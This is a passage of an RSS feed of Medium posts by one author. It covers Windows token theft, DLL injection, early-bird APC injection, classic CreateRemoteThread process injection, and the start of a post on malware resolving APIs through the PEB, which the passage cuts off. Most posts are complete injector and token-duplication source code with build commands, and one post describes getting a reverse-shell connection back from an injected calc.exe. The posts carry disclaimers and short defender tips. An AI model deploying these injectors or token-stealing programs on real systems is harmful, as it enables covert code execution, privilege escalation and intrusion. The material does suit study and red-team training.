SE_PRIVILEGE_ENABLED;<br><br>    if (!AdjustTokenPrivileges(token, FALSE, &amp;tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) res = FALSE;<br><br>    CloseHandle(token);<br>    printf(res ? &quot;[+] Privilege set\n&quot; : &quot;[-] Privilege failed\n&quot;);<br>    return res;<br>}<br><br>// ----------------------------<br>// Function: getToken<br>// Purpose: Get the access token of a target process (or current process if pid = 0)<br>// ----------------------------<br>HANDLE getToken(DWORD pid) {<br>    HANDLE cToken = NULL;<br>    HANDLE ph = NULL;<br><br>    if (pid == 0) ph = GetCurrentProcess();<br>    else ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid);<br><br>    if (!ph) cToken = NULL;<br>    printf(ph ? &quot;[+] Process handle OK\n&quot; : &quot;[-] Process handle fail\n&quot;);<br><br>    BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &amp;cToken);<br>    if (!res) cToken = NULL;<br><br>    printf(cToken ? &quot;[+] Token OK\n&quot; : &quot;[-] Token fail\n&quot;);<br>    return cToken;<br>}<br><br>// ----------------------------<br>// Function: createProcess<br>// Purpose: Launch a new process using the duplicated token<br>// ----------------------------<br>BOOL createProcess(HANDLE token, LPCWSTR app) {<br>    HANDLE dToken = NULL;<br>    STARTUPINFOW si;<br>    PROCESS_INFORMATION pi;<br>    BOOL res = TRUE;<br><br>    ZeroMemory(&amp;si, sizeof(STARTUPINFOW));<br>    ZeroMemory(&amp;pi, sizeof(PROCESS_INFORMATION));<br>    si.cb = sizeof(STARTUPINFOW);<br><br>    res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &amp;dToken);<br>    printf(res ? &quot;[+] Token duplicated\n&quot; : &quot;[-] Token duplicate fail\n&quot;);<br><br>    res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &amp;si, &amp;pi);<br>    printf(res ? &quot;[+] Process launched\n&quot; : &quot;[-] Process launch fail\n&quot;);<br><br>    return res;<br>}<br><br>// ----------------------------<br>// Main function<br>// ----------------------------<br>int main(int argc, char** argv) {<br>    if (!setPrivilege(SE_DEBUG_NAME)) return -1;<br><br>    DWORD pid = atoi(argv[1]);            // Get PID from command-line<br>    HANDLE cToken = getToken(pid);        // Get target process token<br><br>    if (!createProcess(cToken, L&quot;C:\\Windows\\System32\\mspaint.exe&quot;)) return -1; // Launch paint<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*iCcTEgUMuBe7EQQunOTZOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2u_iubPz3QhZcf1290YcMQ.png" /></figure><h3>Why This Matters</h3><p>Token manipulation is used for:</p><ul><li>Privilege escalation</li><li>Lateral movement</li><li>Persistence</li></ul><p>If a token belongs to a privileged account, the attacker can impersonate that user anywhere the permissions allow.</p><h3>Wrapping Up</h3><p>Access tokens are central to Windows security and a favorite target for attackers. Stealing and using tokens is common in APTs, malware campaigns, and post-exploitation frameworks.</p><p>For defenders:</p><ul><li>Keep an eye on SeDebugPrivilege and SeImpersonatePrivilege usage</li><li>Audit token duplication and process creation events</li><li>Limit local admin rights wherever possible</li></ul><p>At the end of the day, tokens show a simple truth: if an attacker has valid credentials, they can move silently and escalate privileges. Monitoring, visibility, and proper privilege hygiene are your best defenses.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bf7ed38e55f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Make mspaint Say “Meow”: A Playful Guide to DLL Injection]]></title>
            <link>https://infosecwriteups.com/how-to-make-mspaint-say-meow-a-playful-guide-to-dll-injection-edf748eb9558?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/edf748eb9558</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Sat, 13 Sep 2025 02:48:22 GMT</pubDate>
            <atom:updated>2025-09-13T07:50:55.861Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rl2NTAStumK8vCaRYdu9g.png" /><figcaption>DLL Injection</figcaption></figure><p>[DISCLAIMER: This is an educational write-up. Don’t be the person who takes code snippets from blog posts and tries them on systems you don’t own. Use a lab, break your own toys, and don’t complain to me when you end up on some SOC analyst’s watchlist.]</p><p>So today we’re diving into one of the classics of Windows malware tricks: <strong>DLL Injection</strong>.<br> Yes, the thing that lets you convince another process to load your code and run it like it was born to. Whether that’s explorer.exe, mspaint.exe, or Notepad (because who doesn’t want Notepad.exe meowing back at them?), DLL injection remains a simple yet powerful way attackers get a foothold inside another process.</p><p>We’ll specifically look at the <strong>traditional DLL injection technique</strong> that relies on the debugging API. Old but gold.</p><h3>Premise: What’s DLL Injection Anyway?</h3><p>At its core, DLL injection is about <strong>forcing another process to load a Dynamic Link Library</strong>. Think of it as sneaking your own Lego block into someone else’s set — the system thinks it belongs, and suddenly your block has all the power.</p><p>Why would attackers want this? A few reasons:</p><ul><li>Hook into system functions (so they can “monitor” or manipulate behavior).</li><li>Achieve persistence (so their code survives reboots or app restarts).</li><li>Straight up control a process’s execution flow.</li></ul><p>In our case, we’ll keep it simple: show a message box. Nothing says “I’m inside your process” like a cat meowing from a Windows alert.</p><h3>The “=^..^=” DLL (Dll.cpp)</h3><p>Here’s a minimal DLL that just yells “Meow” at you:</p><pre>#include &lt;windows.h&gt;<br><br>BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {<br>  switch (nReason) {<br>    case DLL_PROCESS_ATTACH:<br>      MessageBox(<br>        NULL,<br>        &quot;=^..^=&quot;,<br>        &quot;alert&quot;,<br>        MB_OK<br>      );<br>      break;<br>    case DLL_PROCESS_DETACH:<br>    case DLL_THREAD_ATTACH:<br>    case DLL_THREAD_DETACH:<br>      break;<br>  }<br>  return TRUE;<br>}</pre><p>A few notes here:</p><ul><li><strong>DllMain</strong> is the DLL’s entry point. Windows calls this automatically when the DLL is loaded.</li><li>We don’t bother exporting functions here — malware authors often just drop everything in DllMain because it executes immediately after loading. Simple, fast, and it works.</li><li>The payload here is harmless: a message box. Replace that with keystroke logging, code injection, or persistence logic … and now you’ve got something much nastier.</li></ul><p>To build this on a Linux host (with mingw-w64), you’d run:</p><pre>x86_64-w64-mingw32-g++ -shared -o Dll.dll Dll.cpp -fpermissive</pre><p>Congrats, you now own a cat-themed “malicious” DLL.</p><h3>The Injector (injector.c)</h3><p>Now we need a way to get that DLL into another process’s memory space. This is where the traditional DLL injection technique shines.</p><p>Here’s the injector code:</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>char DllToLoad[] = &quot;C:\\Dll.dll&quot;;<br><br>int main(int argc , char* argv[]) {<br><br>  // Step 1: Find LoadLibraryA inside Kernel32.dll<br>  HMODULE kernal_handle = GetModuleHandle(&quot;Kernel32&quot;);<br>  FARPROC processAddress_LLA = GetProcAddress(kernal_handle, &quot;LoadLibraryA&quot;);<br><br>  printf(&quot;the process address is: %i&quot;, atoi(argv[1]));<br><br>  // Step 2: Open the target process<br>  HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]));<br><br>  // Step 3: Allocate memory inside target process<br>  LPVOID memAlloc  = VirtualAllocEx(processHandle, NULL, sizeof(DllToLoad),<br>                                    MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br><br>  // Step 4: Copy our DLL path into target process memory<br>  WriteProcessMemory(processHandle, memAlloc, DllToLoad, sizeof(DllToLoad), NULL);<br><br>  // Step 5: Create a remote thread that calls LoadLibraryA with our DLL path<br>  HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0,<br>                          (LPTHREAD_START_ROUTINE)processAddress_LLA,<br>                          memAlloc, 0, NULL);<br><br>  CloseHandle(processHandle);<br><br>  return 0;<br>}</pre><h3>Breaking Down the Magic</h3><ol><li><strong>GetModuleHandle(“Kernel32”)</strong><br> Why Kernel32? Because that’s where LoadLibraryA lives. And if we want another process to load our DLL, we need the memory address of this function.</li><li><strong>GetProcAddress()</strong><br> This fetches the pointer to LoadLibraryA. That’s the function we’ll eventually call inside the victim process.</li><li><strong>OpenProcess()</strong><br> Using the PID of our target (say mspaint.exe), we grab a handle. Without this, we’re just standing outside the restaurant, unable to cook.</li><li><strong>VirtualAllocEx()</strong><br> Allocate memory inside the target process. This is the prep space where we’ll drop the string &quot;C:\\Dll.dll&quot;.</li><li><strong>WriteProcessMemory()</strong><br> Copies the DLL path into the allocated memory.</li><li><strong>CreateRemoteThread()</strong><br> Here’s the finale: we spin up a thread inside the target process that calls LoadLibraryA with the DLL path we just wrote. The process happily loads our DLL like it was part of its startup routine.</li></ol><p>And voila — our Dll.dll gets executed inside mspaint.exe (or any other target). If you did everything right, you should see a message box meowing at you, courtesy of a hijacked process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dkpu33ifBIYUuzKGsVECVg.png" /></figure><h3>Conclusion</h3><p>This is the <strong>traditional DLL injection</strong> technique: simple, effective, and still relevant today.</p><p>While attackers have more sophisticated tricks now (like process hollowing, APC injection, or even abusing signed drivers), this classic LoadLibraryA method is still widely used — especially by red teams and malware authors who prefer reliability over stealth.</p><p>And as defenders, understanding how these old-school techniques work is crucial. Because if you ever see Notepad popping up cat memes uninvited, you’ll know exactly what happened.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=edf748eb9558" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-to-make-mspaint-say-meow-a-playful-guide-to-dll-injection-edf748eb9558">How to Make mspaint Say “Meow”: A Playful Guide to DLL Injection</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[APC Injection: Because Why Let Threads Sleep Peacefully?]]></title>
            <link>https://systemweakness.com/apc-injection-because-why-let-threads-sleep-peacefully-32ba6cd1ca40?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/32ba6cd1ca40</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 22:29:23 GMT</pubDate>
            <atom:updated>2025-09-16T13:48:56.658Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bilVd4uZ05fwLlz0G6lFYg.png" /><figcaption>APC injection</figcaption></figure><p>[DISCLAIMER: This isn’t one of those dry academic write-ups. This is me, caffeine-fueled, writing about why Windows threads can’t be trusted to mind their own business. Typos might sneak in, but hey, that’s the price of authenticity.]</p><h3>So, What’s the Deal with APCs?</h3><p>Every Windows thread gets its own little <strong>to-do list</strong>, called an APC queue. Normally, this is where the OS politely drops tasks for the thread to handle when it’s in an alertable state. Think of it like Outlook reminders, but instead of “drink water” it’s “execute arbitrary code.”</p><p>Now, Microsoft gave us QueueUserAPC, a nice little API that lets you add items to that queue. Sounds harmless, right? Until someone realizes they can drop <strong>malicious shellcode</strong> in there instead of the usual “update printer driver” chore.</p><p><strong>In other words: APC injection is just weaponized multitasking.</strong></p><h3>The Early Bird Gets the Shellcode 🐦</h3><p>Let’s start with the “early bird” technique. It’s called that because the attacker beats Windows to the punch by hijacking a thread <strong>before it ever runs properly</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*t46PWqkyOUZJ6CPLz41uyw.png" /></figure><h3>Step 1: Create a Suspended Process</h3><p>You spin up something innocent, like notepad.exe, but with the CREATE_SUSPENDED flag. Translation: “Hey Notepad, welcome to the party, but stay in the corner and don’t touch anything yet.”</p><pre>CreateProcessA(<br> &quot;C:\\Windows\\System32\\notepad.exe&quot;,<br> NULL,NULL,NULL,FALSE,<br> CREATE_SUSPENDED, NULL,NULL,&amp;startupInfo , &amp;processInfo <br>);</pre><h3>Step 2: Allocate Memory</h3><p>Use VirtualAllocEx to carve out space in Notepad’s memory and mark it executable. Defenders should already be sweating — anytime one process allocates memory inside another, something sketchy is about to happen.</p><pre>payloadMem = VirtualAllocEx(processHandle, NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</pre><h3>Step 3: Write Payload</h3><p>Drop your shellcode in there. Nothing fancy, just your favorite message box or whatever you’ve cooked up.</p><pre>WriteProcessMemory(processHandle, payloadMem, payload, payloadLen, NULL);</pre><h3>Step 4: Queue the APC</h3><p>Tell Notepad’s suspended thread, “when you finally wake up, first thing you’re gonna do is run this payload.”</p><pre>PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)payloadMem;<br>QueueUserAPC((PAPCFUNC)apcRoutine , threadHandle , (ULONG_PTR)NULL);</pre><h3>Step 5: Resume the Thread</h3><p>Finally, hit play. Instead of writing notes, Notepad will gleefully execute your injected code. Congratulations, you’ve just hijacked a process without even breaking a sweat.</p><pre>ResumeThread(threadHandle);</pre><h4>Operational Example-</h4><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;windows.h&gt;<br><br>unsigned char payload[]= //Shellcode or whatever you want!;<br><br>int main(){<br><br>STARTUPINFO startupInfo;<br>PROCESS_INFORMATION processInfo;<br>LPVOID payloadMem;<br>SIZE_T payloadLen = sizeof(payload);<br>HANDLE processHandle, threadHandle;<br>NTSTATUS status;<br><br>  ZeroMemory(&amp;startupInfo, sizeof(startupInfo));<br>  ZeroMemory(&amp;processInfo, sizeof(processInfo));<br>  startupInfo.cb = sizeof(startupInfo);<br><br>CreateProcessA(<br> &quot;C:\\Windows\\System32\\notepad.exe&quot;,<br> NULL,NULL,NULL,FALSE,<br> CREATE_SUSPENDED, NULL,NULL,&amp;startupInfo , &amp;processInfo <br>); <br><br> processHandle = processInfo.hProcess;<br> threadHandle = processInfo.hThread;<br><br>payloadMem = VirtualAllocEx(processHandle, NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br><br>WriteProcessMemory(processHandle, payloadMem, payload, payloadLen, NULL);<br><br>PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)payloadMem;<br>QueueUserAPC((PAPCFUNC)apcRoutine , threadHandle , (ULONG_PTR)NULL);<br><br>ResumeThread(threadHandle);<br>return 0 ;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*zZwZlHpUGtc797Bn8sJBCQ.png" /><figcaption>APC successful !!</figcaption></figure><h3>NtTestAlert: Because Who Needs Documentation Anyway?</h3><p>If you thought QueueUserAPC was a bit sneaky, NtTestAlert takes it to the next level.</p><p>This little gem is an <strong>undocumented syscall</strong> — basically Microsoft’s way of saying, <em>“Don’t touch this… unless you enjoy chaos.”</em> Its sole purpose? Force a thread to immediately process any pending APCs.</p><p>No more waiting around for the thread to politely check its queue. You just poke it and say, <em>“Hey, time to run your chores!”</em> And what’s waiting for it? Yep… your payload, front and center.</p><p>It’s basically the VIP pass of thread execution. Everyone else queues like good citizens, but you? You’re already strapped in and screaming on the rollercoaster.</p><h4>Operational Example-</h4><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;<br>#pragma comment(lib, &quot;ntdll&quot;)<br>typedef NTSTATUS (NTAPI *NtTestAlertFunction)();<br><br>unsigned char shellcode[] = //not gonna repeat the same!;<br><br><br>int main(int argc, char* argv[]) {<br>  SIZE_T shellcodeSize = sizeof(shellcode);<br>  HMODULE ntdllModule = GetModuleHandleA(&quot;ntdll&quot;);<br>  NtTestAlertFunction testAlert = (NtTestAlertFunction)(GetProcAddress(ntdllModule, &quot;NtTestAlert&quot;));<br><br>  LPVOID shellcodeMemory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br>  memcpy(shellcodeMemory, shellcode, shellcodeSize);  // simpler than WriteProcessMemory on self<br><br>  PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellcodeMemory;<br>  QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), (ULONG_PTR)NULL);<br><br>  testAlert();  // process pending APCs<br><br>  return 0;<br>}</pre><h3>Wrap-Up</h3><p>APC injection is one of those techniques that’s both elegant and infuriating. Elegant because it abuses Windows internals in a way that almost feels “by design.” Infuriating because once again, attackers get to use normal OS features as weapons, leaving defenders to piece together a mess of alerts that may or may not scream “injection.”</p><p>So, whether you’re a hacker nerd learning the ropes, a red teamer flexing on defenders, or a blue teamer losing sleep over suspicious VirtualAllocEx calls — congratulations, you now understand why APC injection is one of the cooler (and scarier) code injection methods out there.</p><p>😊If you enjoyed this article and want to read more about cybersecurity and malware research, follow me on X (Twitter) @<a href="https://x.com/itzZ_sanskarr">itzZ_sanskarr</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32ba6cd1ca40" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/apc-injection-because-why-let-threads-sleep-peacefully-32ba6cd1ca40">APC Injection: Because Why Let Threads Sleep Peacefully?</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hijacking Windows Processes: A Step-By-Step Guide]]></title>
            <link>https://infosecwriteups.com/hijacking-windows-processes-a-step-by-step-guide-4a1d3e234da4?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a1d3e234da4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Mon, 08 Sep 2025 22:23:55 GMT</pubDate>
            <atom:updated>2025-09-09T05:04:28.253Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xq5IqQjMecsPyKCgdG8_A.png" /><figcaption>process injection 💉</figcaption></figure><p>Hello nerds, today we are going to talk about process injection. Have you ever wondered how attackers manage to sneak malicious code into legitimate programs without getting noticed? That is where process injection comes in. It is a technique that allows malicious code to run inside trusted processes. In this explanation, we will use calc.exe as the example, because it is always running and has decent privileges. This makes it a prime target for attackers.</p><h3>What Is Process Injection?</h3><p>Imagine you want to run malicious code, but instead of launching a suspicious program that antivirus tools would flag instantly, you hide your code inside a program Windows trusts, like calc.exe. Now, your code is running under the identity of a normal process, making it harder to detect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*3Q1MHaH6fC_p5ARQyCWHAg.png" /></figure><p>Here is how to do it, step by step:</p><h4>Step 1: Getting Access to the Target Process</h4><p>The first step is to gain access to the target process. We use a Windows API function called OpenProcess, which lets us request the necessary permissions to interact with that process.</p><pre>HANDLE process_handle;<br>process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]));c</pre><h4>Step 2: Reserving Space in Memory</h4><p>After gaining access, we need a place to store the code. VirtualAllocEx is used to allocate a section of memory inside the target process.</p><pre>PVOID remote_buffer;<br>remote_buffer = VirtualAllocEx(<br>    process_handle,<br>    NULL,<br>    payload_length,<br>    (MEM_RESERVE | MEM_COMMIT),<br>    PAGE_EXECUTE_READWRITE<br>);</pre><h4>Step 3: Writing the Payload</h4><p>Next, we move our code into the allocated memory using WriteProcessMemory. This copies the payload directly into the target process.</p><pre>WriteProcessMemory(process_handle, remote_buffer, payload, payload_length, NULL);</pre><h4>Step 4: Executing the Code</h4><p>The code remains in memory until we execute it. We use CreateRemoteThread to start a new thread inside the process, which begins running our code.</p><pre>HANDLE remote_thread;<br>remote_thread = CreateRemoteThread(<br>    process_handle,<br>    NULL,<br>    0,<br>    (LPTHREAD_START_ROUTINE)remote_buffer,<br>    NULL,<br>    0,<br>    NULL<br>);</pre><h4>Complete Implementation</h4><pre><br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;<br><br><br>unsigned char payload[] =&quot;\xDE\xAD\xBE\xEF&quot;;<br><br>unsigned int payload_length = sizeof(payload);<br><br>int main(int argc, char* argv[]) {<br>  HANDLE process_handle;<br>  HANDLE remote_thread;<br>  PVOID remote_buffer;<br><br>  printf(&quot;Process ID: %i\n&quot;, atoi(argv[1]));<br>  process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]));<br><br>  remote_buffer = VirtualAllocEx(process_handle, NULL, payload_length, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);<br><br>  WriteProcessMemory(process_handle, remote_buffer, payload, payload_length, NULL);<br><br>  remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);<br><br>  CloseHandle(process_handle);<br><br>  return 0;<br>}</pre><pre>x86_64-w64-mingw32-gcc processInjector.c -o processInjector.exe -s -ffunction-sections<br>-fdata-sections -Wno-write-strings -fno-exceptions -fmerge-allconstants -static-libstdc++ -static-libgcc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*FwrVeJt0mwRMm6cSBkNQqA.png" /></figure><p>Compile the code, run the executable, and provide the PID of the target process you want to inject into. Once the injection is successful, you should receive a connection back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CP4vnjTzgvZHkuTnPDzE-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFwSNMQc8rq5I-oAOuHBbg.png" /></figure><h4>Verification and Analysis of a Successful Injection</h4><p>To verify if the code injection worked, the target process can be inspected using tools like <strong>Process Hacker</strong>. In this example, we check the behavior of calc.exe after the injection.</p><p>The Network tab may show an unexpected outbound connection, such as one created by a reverse shell, displaying a TCP link to the attacker’s host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*UuG6dfjV3JhphXYvep8eNg.png" /></figure><p>The Memory tab may show a newly allocated region with unusual permissions, such as RX or RWX, and it may list additional libraries that were not part of the original process, such as<strong> ws2_32.dll</strong> for a network-enabled payload. These findings can indicate a possible compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QwjjGUz4rvrTxhH3FpNYFA.png" /></figure><h4>Mitigation through Integrity Levels</h4><p>Windows includes built-in security mechanisms to make process injection harder. One of these is <strong>Mandatory Integrity Control (MIC)</strong>, which assigns each process an integrity level. This level decides how processes can interact with each other and with system resources.</p><p>Processes can run at different levels: Low, Medium, High, or System.</p><p>A process can only write to another process with the same or a lower integrity level. This means a Medium-level process cannot inject code into a High or System-level process. This rule acts as a barrier against privilege escalation.</p><p>And that’s a wrap, nerds! Now you know how code can sneak into a trusted process, how to inject it step by step, and how to spot it once it’s running. If you enjoyed this article and want to read more about cybersecurity and malware research, follow me on X (Twitter) @<a href="https://x.com/itzZ_sanskarr">itzZ_sanskarr</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a1d3e234da4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hijacking-windows-processes-a-step-by-step-guide-4a1d3e234da4">Hijacking Windows Processes: A Step-By-Step Guide</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inside the PEB: How Malware Resolves APIs Without Imports]]></title>
            <link>https://systemweakness.com/inside-the-peb-how-malware-resolves-apis-without-imports-81f7d03bcfc5?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/81f7d03bcfc5</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 20:43:05 GMT</pubDate>
            <atom:updated>2025-09-11T13:32:25.503Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrCF3ne--ZHmtL9Fn1yVHw.png" /></figure><p>Malware authors are constantly evolving their tactics to stay ahead of analysts. One such trick used by many modern malware samples is something called a <strong>PEB walk</strong>. I wanted to write this article to help beginners in malware analysis understand this technique clearly because, while it’s widely used, it’s often misunderstood by newcomers.</p><p>In this article, we’ll break down <strong>what a PEB walk is</strong>, <strong>why malware uses it</strong>, and <strong>how it works</strong> — step by step, including a full example in C ++.</p><h3>Why Malware Avoids the Import Address Table (IAT)</h3><p>Before diving into the PEB, let’s understand the <strong>why</strong>.</p><p>When malware is analyzed whether statically (looking at the code) or dynamically (running the code) analysts often check the <strong>Import Address Table (IAT)</strong> to see which Windows API functions are used. These imported functions give away clues about the malware’s behavior.</p><p>For example, if you see CreateRemoteThread, WriteProcessMemory, or WinExec in the IAT, that might indicate process injection, code execution, or spawning new processes.</p><h3>So what’s the problem for malware authors?</h3><p><strong>The IAT is a dead giveaway.</strong></p><p>Malware authors don’t want analysts to guess what their code is doing just by looking at the IAT. So, instead of declaring API calls up front (which fills the IAT), they resolve them <strong>at runtime</strong>, using a sneaky technique — <strong>walking the PEB</strong>.</p><h3>What is the PEB?</h3><p><strong>PEB</strong> stands for <strong>Process Environment Block</strong>. It’s a data structure in memory that the Windows operating system creates for every process. The PEB contains all sorts of useful information about the process, such as:</p><ul><li>The base address of loaded modules (DLLs)</li><li>Process parameters and environment variables</li><li>Whether the process is being debugged</li><li>And more…</li></ul><p><strong>PEB structure-</strong></p><pre>typedef struct _PEB {<br>  BYTE                          Reserved1[2];<br>  BYTE                          BeingDebugged;<br>  BYTE                          Reserved2[1];<br>  PVOID                         Reserved3[2];<br>  PPEB_LDR_DATA                 Ldr;<br>  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;<br>  PVOID                         Reserved4[3];<br>  PVOID                         AtlThunkSListPtr;<br>  PVOID                         Reserved5;<br>  ULONG                         Reserved6;<br>  PVOID                         Reserved7;<br>  ULONG                         Reserved8;<br>  ULONG                         AtlThunkSListPtr32;<br>  PVOID                         Reserved9[45];<br>  BYTE                          Reserved10[96];<br>  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;<br>  BYTE                          Reserved11[128];<br>  PVOID                         Reserved12[1];<br>  ULONG                         SessionId;<br>} PEB, *PPEB;</pre><p>The Ldr member of the PEB points to a PEB_LDR_DATA structure, which contains details about all loaded modules. One key field, InMemoryOrderModuleList, is a linked list used to locate the base addresses of these DLLs.</p><pre>typedef struct _PEB_LDR_DATA {<br>  BYTE       Reserved1[8];<br>  PVOID      Reserved2[3];<br>  LIST_ENTRY InMemoryOrderModuleList;<br>} PEB_LDR_DATA, *PPEB_LDR_DATA;</pre><p>Within this structure, a process (such as malware) uses the InMemoryOrderModuleList to go through all loaded modules. Each entry in this linked list corresponds to a module and is represented by an LDR_DATA_TABLE_ENTRY structure, which holds detailed information about that module.</p><pre>typedef struct _LDR_DATA_TABLE_ENTRY {<br>    LIST_ENTRY InLoadOrderLinks;<br>    LIST_ENTRY InMemoryOrderLinks;<br>    LIST_ENTRY InInitializationOrderLinks;<br>    PVOID      DllBase;<br>    PVOID      EntryPoint;<br>    ULONG      SizeOfImage;<br>    UNICODE_STRING FullDllName;<br>    UNICODE_STRING BaseDllName;<br>    ULONG      Flags;<br>    USHORT     LoadCount;<br>    USHORT     TlsIndex;<br>    LIST_ENTRY HashLinks;<br>    PVOID      SectionPointer;<br>    ULONG      CheckSum;<br>    ULONG      TimeDateStamp;<br>    PVOID      LoadedImports;<br>    PVOID      EntryPointActivationContext;<br>    PVOID      PatchInformation;<br>} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;</pre><p>For malware, the <strong>loaded modules</strong> are the most interesting part — especially <strong>kernel32.dll</strong> and <strong>ntdll.dll</strong>. These contain key APIs that malware needs to function.</p><h3>Accessing the PEB Structure</h3><p>How does malware access the PEB structure? One common method is through direct access using inline assembly:</p><pre>//for 32 bit architecture<br>#include &lt;stdio.h&gt;<br>#include &lt;Windows.h&gt;<br><br>int main() {<br>    PVOID peb;<br><br>    __asm {<br>        mov eax, fs:[0x30] <br>        mov peb, eax<br>    }<br><br>    printf(&quot;PEB Address: %p\n&quot;, peb);<br>    return 0;<br>}</pre><p>In this example, the __asm keyword allows embedding assembly instructions directly within the C code. The assembly block accesses the Thread Environment Block (TEB) via the fs segment register. On 32-bit Windows systems, the fs register points to the TEB, and the offset 0x30 within the TEB holds a pointer to the PEB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zx30x-ZBrdY6ewADrAgAbg.png" /></figure><figure><img alt="" 